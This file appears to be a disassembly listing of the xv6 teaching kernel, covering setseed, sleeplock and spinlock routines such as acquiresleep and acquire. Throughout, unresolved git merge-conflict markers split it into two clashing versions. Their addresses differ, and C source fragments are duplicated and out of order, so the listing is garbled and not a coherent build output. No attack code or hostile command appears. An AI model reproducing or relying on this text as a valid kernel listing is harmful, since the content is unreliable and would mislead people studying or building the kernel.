801041ac: e8 ff 02 00 00 call 801044b0 <release>
return 0;
}
}
release(&ptable.lock);
return -1;
}
801041b1: 83 c4 14 add $0x14,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->pid == pd){
p->jlength = l;
<<<<<<< HEAD
80104395: 89 50 7c mov %edx,0x7c(%eax)
release(&ptable.lock);
80104398: 68 a0 2d 11 80 push $0x80112da0
8010439d: e8 4e 03 00 00 call 801046f0 <release>
return 0;
801043a2: 83 c4 10 add $0x10,%esp
801043a5: 31 c0 xor %eax,%eax
=======
release(&ptable.lock);
return 0;
801041b4: 31 c0 xor %eax,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
}
release(&ptable.lock);
return -1;
}
<<<<<<< HEAD
801043a7: 8b 5d fc mov -0x4(%ebp),%ebx
801043aa: c9 leave
801043ab: c3 ret
801043ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
801041b6: 5b pop %ebx
801041b7: 5d pop %ebp
801041b8: c3 ret
801041b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
p->jlength = l;
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
<<<<<<< HEAD
801043b0: 83 ec 0c sub $0xc,%esp
801043b3: 68 a0 2d 11 80 push $0x80112da0
801043b8: e8 33 03 00 00 call 801046f0 <release>
return -1;
801043bd: 83 c4 10 add $0x10,%esp
801043c0: b8 ff ff ff ff mov $0xffffffff,%eax
}
801043c5: 8b 5d fc mov -0x4(%ebp),%ebx
801043c8: c9 leave
801043c9: c3 ret
801043ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801043d0 <setseed>:
=======
801041c0: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
801041c7: e8 e4 02 00 00 call 801044b0 <release>
return -1;
}
801041cc: 83 c4 14 add $0x14,%esp
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
return -1;
801041cf: b8 ff ff ff ff mov $0xffffffff,%eax
}
801041d4: 5b pop %ebx
801041d5: 5d pop %ebp
801041d6: c3 ret
801041d7: 89 f6 mov %esi,%esi
801041d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801041e0 <setseed>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
//syscall to set seed value
int
setseed(int n)
{
<<<<<<< HEAD
801043d0: 55 push %ebp
801043d1: 89 e5 mov %esp,%ebp
seed=n;
801043d3: 8b 45 08 mov 0x8(%ebp),%eax
return 0;
}
801043d6: 5d pop %ebp
=======
801041e0: 55 push %ebp
801041e1: 89 e5 mov %esp,%ebp
seed=n;
801041e3: 8b 45 08 mov 0x8(%ebp),%eax
return 0;
}
801041e6: 5d pop %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
//syscall to set seed value
int
setseed(int n)
{
seed=n;
<<<<<<< HEAD
801043d7: a3 0c a0 10 80 mov %eax,0x8010a00c
return 0;
}
801043dc: 31 c0 xor %eax,%eax
801043de: c3 ret
801043df: 90 nop
801043e0 <initsleeplock>:
=======
801041e7: a3 0c a0 10 80 mov %eax,0x8010a00c
return 0;
}
801041ec: 31 c0 xor %eax,%eax
801041ee: c3 ret
801041ef: 90 nop
801041f0 <initsleeplock>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
<<<<<<< HEAD
801043e0: 55 push %ebp
801043e1: 89 e5 mov %esp,%ebp
801043e3: 53 push %ebx
801043e4: 83 ec 0c sub $0xc,%esp
801043e7: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&lk->lk, "sleep lock");
801043ea: 68 e8 79 10 80 push $0x801079e8
801043ef: 8d 43 04 lea 0x4(%ebx),%eax
801043f2: 50 push %eax
801043f3: e8 f8 00 00 00 call 801044f0 <initlock>
lk->name = name;
801043f8: 8b 45 0c mov 0xc(%ebp),%eax
lk->locked = 0;
801043fb: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
}
80104401: 83 c4 10 add $0x10,%esp
initsleeplock(struct sleeplock *lk, char *name)
{
initlock(&lk->lk, "sleep lock");
lk->name = name;
lk->locked = 0;
lk->pid = 0;
80104404: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
=======
801041f0: 55 push %ebp
801041f1: 89 e5 mov %esp,%ebp
801041f3: 53 push %ebx
801041f4: 83 ec 14 sub $0x14,%esp
801041f7: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&lk->lk, "sleep lock");
801041fa: c7 44 24 04 78 77 10 movl $0x80107778,0x4(%esp)
80104201: 80
80104202: 8d 43 04 lea 0x4(%ebx),%eax
80104205: 89 04 24 mov %eax,(%esp)
80104208: e8 f3 00 00 00 call 80104300 <initlock>
lk->name = name;
8010420d: 8b 45 0c mov 0xc(%ebp),%eax
lk->locked = 0;
80104210: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
80104216: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
initsleeplock(struct sleeplock *lk, char *name)
{
initlock(&lk->lk, "sleep lock");
lk->name = name;
<<<<<<< HEAD
8010440b: 89 43 38 mov %eax,0x38(%ebx)
lk->locked = 0;
lk->pid = 0;
}
8010440e: 8b 5d fc mov -0x4(%ebp),%ebx
80104411: c9 leave
80104412: c3 ret
80104413: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104420 <acquiresleep>:
=======
8010421d: 89 43 38 mov %eax,0x38(%ebx)
lk->locked = 0;
lk->pid = 0;
}
80104220: 83 c4 14 add $0x14,%esp
80104223: 5b pop %ebx
80104224: 5d pop %ebp
80104225: c3 ret
80104226: 8d 76 00 lea 0x0(%esi),%esi
80104229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104230 <acquiresleep>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
acquiresleep(struct sleeplock *lk)
{
<<<<<<< HEAD
80104420: 55 push %ebp
80104421: 89 e5 mov %esp,%ebp
80104423: 56 push %esi
80104424: 53 push %ebx
80104425: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80104428: 83 ec 0c sub $0xc,%esp
8010442b: 8d 73 04 lea 0x4(%ebx),%esi
8010442e: 56 push %esi
8010442f: e8 dc 00 00 00 call 80104510 <acquire>
while (lk->locked) {
80104434: 8b 13 mov (%ebx),%edx
80104436: 83 c4 10 add $0x10,%esp
80104439: 85 d2 test %edx,%edx
8010443b: 74 16 je 80104453 <acquiresleep+0x33>
8010443d: 8d 76 00 lea 0x0(%esi),%esi
sleep(lk, &lk->lk);
80104440: 83 ec 08 sub $0x8,%esp
80104443: 56 push %esi
80104444: 53 push %ebx
80104445: e8 06 fb ff ff call 80103f50 <sleep>
=======
80104230: 55 push %ebp
80104231: 89 e5 mov %esp,%ebp
80104233: 56 push %esi
80104234: 53 push %ebx
80104235: 83 ec 10 sub $0x10,%esp
80104238: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
8010423b: 8d 73 04 lea 0x4(%ebx),%esi
8010423e: 89 34 24 mov %esi,(%esp)
80104241: e8 3a 01 00 00 call 80104380 <acquire>
while (lk->locked) {
80104246: 8b 13 mov (%ebx),%edx
80104248: 85 d2 test %edx,%edx
8010424a: 74 16 je 80104262 <acquiresleep+0x32>
8010424c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sleep(lk, &lk->lk);
80104250: 89 74 24 04 mov %esi,0x4(%esp)
80104254: 89 1c 24 mov %ebx,(%esp)
80104257: e8 e4 fa ff ff call 80103d40 <sleep>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
acquiresleep(struct sleeplock *lk)
{
acquire(&lk->lk);
while (lk->locked) {
<<<<<<< HEAD
8010444a: 8b 03 mov (%ebx),%eax
8010444c: 83 c4 10 add $0x10,%esp
8010444f: 85 c0 test %eax,%eax
80104451: 75 ed jne 80104440 <acquiresleep+0x20>
sleep(lk, &lk->lk);
}
lk->locked = 1;
80104453: c7 03 01 00 00 00 movl $0x1,(%ebx)
lk->pid = proc->pid;
80104459: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010445f: 8b 40 10 mov 0x10(%eax),%eax
80104462: 89 43 3c mov %eax,0x3c(%ebx)
release(&lk->lk);
80104465: 89 75 08 mov %esi,0x8(%ebp)
}
80104468: 8d 65 f8 lea -0x8(%ebp),%esp
8010446b: 5b pop %ebx
8010446c: 5e pop %esi
8010446d: 5d pop %ebp
=======
8010425c: 8b 03 mov (%ebx),%eax
8010425e: 85 c0 test %eax,%eax
80104260: 75 ee jne 80104250 <acquiresleep+0x20>
sleep(lk, &lk->lk);
}
lk->locked = 1;
80104262: c7 03 01 00 00 00 movl $0x1,(%ebx)
lk->pid = proc->pid;
80104268: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010426e: 8b 40 10 mov 0x10(%eax),%eax
80104271: 89 43 3c mov %eax,0x3c(%ebx)
release(&lk->lk);
80104274: 89 75 08 mov %esi,0x8(%ebp)
}
80104277: 83 c4 10 add $0x10,%esp
8010427a: 5b pop %ebx
8010427b: 5e pop %esi
8010427c: 5d pop %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
while (lk->locked) {
sleep(lk, &lk->lk);
}
lk->locked = 1;
lk->pid = proc->pid;
release(&lk->lk);
<<<<<<< HEAD
8010446e: e9 7d 02 00 00 jmp 801046f0 <release>
80104473: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104480 <releasesleep>:
=======
8010427d: e9 2e 02 00 00 jmp 801044b0 <release>
80104282: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104289: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104290 <releasesleep>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
void
releasesleep(struct sleeplock *lk)
{
<<<<<<< HEAD
80104480: 55 push %ebp
80104481: 89 e5 mov %esp,%ebp
80104483: 56 push %esi
80104484: 53 push %ebx
80104485: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80104488: 83 ec 0c sub $0xc,%esp
8010448b: 8d 73 04 lea 0x4(%ebx),%esi
8010448e: 56 push %esi
8010448f: e8 7c 00 00 00 call 80104510 <acquire>
lk->locked = 0;
80104494: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
8010449a: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
wakeup(lk);
801044a1: 89 1c 24 mov %ebx,(%esp)
801044a4: e8 47 fc ff ff call 801040f0 <wakeup>
release(&lk->lk);
801044a9: 89 75 08 mov %esi,0x8(%ebp)
801044ac: 83 c4 10 add $0x10,%esp
}
801044af: 8d 65 f8 lea -0x8(%ebp),%esp
801044b2: 5b pop %ebx
801044b3: 5e pop %esi
801044b4: 5d pop %ebp
=======
80104290: 55 push %ebp
80104291: 89 e5 mov %esp,%ebp
80104293: 56 push %esi
80104294: 53 push %ebx
80104295: 83 ec 10 sub $0x10,%esp
80104298: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
8010429b: 8d 73 04 lea 0x4(%ebx),%esi
8010429e: 89 34 24 mov %esi,(%esp)
801042a1: e8 da 00 00 00 call 80104380 <acquire>
lk->locked = 0;
801042a6: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
801042ac: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
wakeup(lk);
801042b3: 89 1c 24 mov %ebx,(%esp)
801042b6: e8 25 fc ff ff call 80103ee0 <wakeup>
release(&lk->lk);
801042bb: 89 75 08 mov %esi,0x8(%ebp)
}
801042be: 83 c4 10 add $0x10,%esp
801042c1: 5b pop %ebx
801042c2: 5e pop %esi
801042c3: 5d pop %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
acquire(&lk->lk);
lk->locked = 0;
lk->pid = 0;
wakeup(lk);
release(&lk->lk);
<<<<<<< HEAD
801044b5: e9 36 02 00 00 jmp 801046f0 <release>
801044ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801044c0 <holdingsleep>:
=======
801042c4: e9 e7 01 00 00 jmp 801044b0 <release>
801042c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801042d0 <holdingsleep>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
int
holdingsleep(struct sleeplock *lk)
{
<<<<<<< HEAD
801044c0: 55 push %ebp
801044c1: 89 e5 mov %esp,%ebp
801044c3: 56 push %esi
801044c4: 53 push %ebx
801044c5: 8b 75 08 mov 0x8(%ebp),%esi
int r;
acquire(&lk->lk);
801044c8: 83 ec 0c sub $0xc,%esp
801044cb: 8d 5e 04 lea 0x4(%esi),%ebx
801044ce: 53 push %ebx
801044cf: e8 3c 00 00 00 call 80104510 <acquire>
r = lk->locked;
801044d4: 8b 36 mov (%esi),%esi
release(&lk->lk);
801044d6: 89 1c 24 mov %ebx,(%esp)
801044d9: e8 12 02 00 00 call 801046f0 <release>
return r;
}
801044de: 8d 65 f8 lea -0x8(%ebp),%esp
801044e1: 89 f0 mov %esi,%eax
801044e3: 5b pop %ebx
801044e4: 5e pop %esi
801044e5: 5d pop %ebp
801044e6: c3 ret
801044e7: 66 90 xchg %ax,%ax
801044e9: 66 90 xchg %ax,%ax
801044eb: 66 90 xchg %ax,%ax
801044ed: 66 90 xchg %ax,%ax
801044ef: 90 nop
801044f0 <initlock>:
=======
801042d0: 55 push %ebp
801042d1: 89 e5 mov %esp,%ebp
801042d3: 56 push %esi
801042d4: 53 push %ebx
801042d5: 83 ec 10 sub $0x10,%esp
801042d8: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
acquire(&lk->lk);
801042db: 8d 73 04 lea 0x4(%ebx),%esi
801042de: 89 34 24 mov %esi,(%esp)
801042e1: e8 9a 00 00 00 call 80104380 <acquire>
r = lk->locked;
801042e6: 8b 1b mov (%ebx),%ebx
release(&lk->lk);
801042e8: 89 34 24 mov %esi,(%esp)
801042eb: e8 c0 01 00 00 call 801044b0 <release>
return r;
}
801042f0: 83 c4 10 add $0x10,%esp
801042f3: 89 d8 mov %ebx,%eax
801042f5: 5b pop %ebx
801042f6: 5e pop %esi
801042f7: 5d pop %ebp
801042f8: c3 ret
801042f9: 66 90 xchg %ax,%ax
801042fb: 66 90 xchg %ax,%ax
801042fd: 66 90 xchg %ax,%ax
801042ff: 90 nop
80104300 <initlock>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
<<<<<<< HEAD
801044f0: 55 push %ebp
801044f1: 89 e5 mov %esp,%ebp
801044f3: 8b 45 08 mov 0x8(%ebp),%eax
lk->name = name;
801044f6: 8b 55 0c mov 0xc(%ebp),%edx
lk->locked = 0;
801044f9: c7 00 00 00 00 00 movl $0x0,(%eax)
=======
80104300: 55 push %ebp
80104301: 89 e5 mov %esp,%ebp
80104303: 8b 45 08 mov 0x8(%ebp),%eax
lk->name = name;
80104306: 8b 55 0c mov 0xc(%ebp),%edx
lk->locked = 0;
80104309: c7 00 00 00 00 00 movl $0x0,(%eax)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
lk->name = name;
<<<<<<< HEAD
801044ff: 89 50 04 mov %edx,0x4(%eax)
lk->locked = 0;
lk->cpu = 0;
80104502: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104509: 5d pop %ebp
8010450a: c3 ret
8010450b: 90 nop
8010450c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104510 <acquire>:
// Loops (spins) until the lock is acquired.
// Holding a lock for a long time may cause
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
80104510: 55 push %ebp
80104511: 89 e5 mov %esp,%ebp
80104513: 53 push %ebx
80104514: 83 ec 04 sub $0x4,%esp
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80104517: 9c pushf
80104518: 5a pop %edx
}
static inline void
cli(void)
{
asm volatile("cli");
80104519: fa cli
{
int eflags;
eflags = readeflags();
cli();
if(cpu->ncli == 0)
8010451a: 65 8b 0d 00 00 00 00 mov %gs:0x0,%ecx
80104521: 8b 81 ac 00 00 00 mov 0xac(%ecx),%eax
80104527: 85 c0 test %eax,%eax
80104529: 75 0c jne 80104537 <acquire+0x27>
cpu->intena = eflags & FL_IF;
8010452b: 81 e2 00 02 00 00 and $0x200,%edx
80104531: 89 91 b0 00 00 00 mov %edx,0xb0(%ecx)
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
80104537: 8b 55 08 mov 0x8(%ebp),%edx
eflags = readeflags();
cli();
if(cpu->ncli == 0)
cpu->intena = eflags & FL_IF;
cpu->ncli += 1;
8010453a: 83 c0 01 add $0x1,%eax
8010453d: 89 81 ac 00 00 00 mov %eax,0xac(%ecx)
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
return lock->locked && lock->cpu == cpu;
80104543: 8b 02 mov (%edx),%eax
80104545: 85 c0 test %eax,%eax
80104547: 74 05 je 8010454e <acquire+0x3e>
80104549: 39 4a 08 cmp %ecx,0x8(%edx)
8010454c: 74 7a je 801045c8 <acquire+0xb8>
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
8010454e: b9 01 00 00 00 mov $0x1,%ecx
80104553: 90 nop
80104554: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104558: 89 c8 mov %ecx,%eax
8010455a: f0 87 02 lock xchg %eax,(%edx)
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
panic("acquire");
// The xchg is atomic.
while(xchg(&lk->locked, 1) != 0)
8010455d: 85 c0 test %eax,%eax
8010455f: 75 f7 jne 80104558 <acquire+0x48>
;
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
80104561: f0 83 0c 24 00 lock orl $0x0,(%esp)
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
80104566: 8b 4d 08 mov 0x8(%ebp),%ecx
80104569: 65 a1 00 00 00 00 mov %gs:0x0,%eax
getcallerpcs(void *v, uint pcs[])
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
8010456f: 89 ea mov %ebp,%edx
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
80104571: 89 41 08 mov %eax,0x8(%ecx)
getcallerpcs(&lk, lk->pcs);
80104574: 83 c1 0c add $0xc,%ecx
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104577: 31 c0 xor %eax,%eax
80104579: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104580: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx
80104586: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
8010458c: 77 1a ja 801045a8 <acquire+0x98>
break;
pcs[i] = ebp[1]; // saved %eip
8010458e: 8b 5a 04 mov 0x4(%edx),%ebx
80104591: 89 1c 81 mov %ebx,(%ecx,%eax,4)
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104594: 83 c0 01 add $0x1,%eax
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
80104597: 8b 12 mov (%edx),%edx
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104599: 83 f8 0a cmp $0xa,%eax
8010459c: 75 e2 jne 80104580 <acquire+0x70>
__sync_synchronize();
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
getcallerpcs(&lk, lk->pcs);
}
8010459e: 8b 5d fc mov -0x4(%ebp),%ebx
801045a1: c9 leave
801045a2: c3 ret
801045a3: 90 nop
801045a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
pcs[i] = 0;
801045a8: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
801045af: 83 c0 01 add $0x1,%eax
801045b2: 83 f8 0a cmp $0xa,%eax
801045b5: 74 e7 je 8010459e <acquire+0x8e>
pcs[i] = 0;
801045b7: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
801045be: 83 c0 01 add $0x1,%eax
801045c1: 83 f8 0a cmp $0xa,%eax
801045c4: 75 e2 jne 801045a8 <acquire+0x98>
801045c6: eb d6 jmp 8010459e <acquire+0x8e>
void
acquire(struct spinlock *lk)
{
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
panic("acquire");
801045c8: 83 ec 0c sub $0xc,%esp
801045cb: 68 f3 79 10 80 push $0x801079f3
801045d0: e8 9b bd ff ff call 80100370 <panic>
801045d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801045d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801045e0 <getcallerpcs>:
=======
8010430f: 89 50 04 mov %edx,0x4(%eax)
lk->locked = 0;
lk->cpu = 0;
80104312: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104319: 5d pop %ebp
8010431a: c3 ret
8010431b: 90 nop
8010431c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104320 <getcallerpcs>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
<<<<<<< HEAD
801045e0: 55 push %ebp
801045e1: 89 e5 mov %esp,%ebp
801045e3: 53 push %ebx
=======
80104320: 55 push %ebp
80104321: 89 e5 mov %esp,%ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
uint *ebp;
int i;
ebp = (uint*)v - 2;
<<<<<<< HEAD
801045e4: 8b 45 08 mov 0x8(%ebp),%eax
=======
80104323: 8b 45 08 mov 0x8(%ebp),%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
<<<<<<< HEAD
801045e7: 8b 4d 0c mov 0xc(%ebp),%ecx
=======
80104326: 8b 4d 0c mov 0xc(%ebp),%ecx
80104329: 53 push %ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
uint *ebp;
int i;
ebp = (uint*)v - 2;
<<<<<<< HEAD
801045ea: 8d 50 f8 lea -0x8(%eax),%edx
for(i = 0; i < 10; i++){
801045ed: 31 c0 xor %eax,%eax
801045ef: 90 nop
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
801045f0: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx
801045f6: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
801045fc: 77 1a ja 80104618 <getcallerpcs+0x38>
break;
pcs[i] = ebp[1]; // saved %eip
801045fe: 8b 5a 04 mov 0x4(%edx),%ebx
80104601: 89 1c 81 mov %ebx,(%ecx,%eax,4)
=======
8010432a: 8d 50 f8 lea -0x8(%eax),%edx
for(i = 0; i < 10; i++){
8010432d: 31 c0 xor %eax,%eax
8010432f: 90 nop
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104330: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx
80104336: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
8010433c: 77 1a ja 80104358 <getcallerpcs+0x38>
break;
pcs[i] = ebp[1]; // saved %eip
8010433e: 8b 5a 04 mov 0x4(%edx),%ebx
80104341: 89 1c 81 mov %ebx,(%ecx,%eax,4)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
<<<<<<< HEAD
80104604: 83 c0 01 add $0x1,%eax
=======
80104344: 83 c0 01 add $0x1,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
<<<<<<< HEAD
80104607: 8b 12 mov (%edx),%edx
=======
80104347: 8b 12 mov (%edx),%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
<<<<<<< HEAD
80104609: 83 f8 0a cmp $0xa,%eax
8010460c: 75 e2 jne 801045f0 <getcallerpcs+0x10>
=======
80104349: 83 f8 0a cmp $0xa,%eax
8010434c: 75 e2 jne 80104330 <getcallerpcs+0x10>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
pcs[i] = 0;
}
<<<<<<< HEAD
8010460e: 5b pop %ebx
8010460f: 5d pop %ebp
80104610: c3 ret
80104611: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
8010434e: 5b pop %ebx
8010434f: 5d pop %ebp
80104350: c3 ret
80104351: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
pcs[i] = 0;
<<<<<<< HEAD
80104618: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
=======
80104358: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
<<<<<<< HEAD
8010461f: 83 c0 01 add $0x1,%eax
80104622: 83 f8 0a cmp $0xa,%eax
80104625: 74 e7 je 8010460e <getcallerpcs+0x2e>
pcs[i] = 0;
80104627: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
=======
8010435f: 83 c0 01 add $0x1,%eax
80104362: 83 f8 0a cmp $0xa,%eax
80104365: 74 e7 je 8010434e <getcallerpcs+0x2e>
pcs[i] = 0;
80104367: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
<<<<<<< HEAD
8010462e: 83 c0 01 add $0x1,%eax
80104631: 83 f8 0a cmp $0xa,%eax
80104634: 75 e2 jne 80104618 <getcallerpcs+0x38>
80104636: eb d6 jmp 8010460e <getcallerpcs+0x2e>
80104638: 90 nop
80104639: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104640 <holding>:
}
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
80104640: 55 push %ebp
80104641: 89 e5 mov %esp,%ebp
80104643: 8b 55 08 mov 0x8(%ebp),%edx
return lock->locked && lock->cpu == cpu;
80104646: 8b 02 mov (%edx),%eax
80104648: 85 c0 test %eax,%eax
8010464a: 74 14 je 80104660 <holding+0x20>
8010464c: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104652: 39 42 08 cmp %eax,0x8(%edx)
}
80104655: 5d pop %ebp
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
return lock->locked && lock->cpu == cpu;
80104656: 0f 94 c0 sete %al
80104659: 0f b6 c0 movzbl %al,%eax
}
8010465c: c3 ret
8010465d: 8d 76 00 lea 0x0(%esi),%esi
80104660: 31 c0 xor %eax,%eax
80104662: 5d pop %ebp
80104663: c3 ret
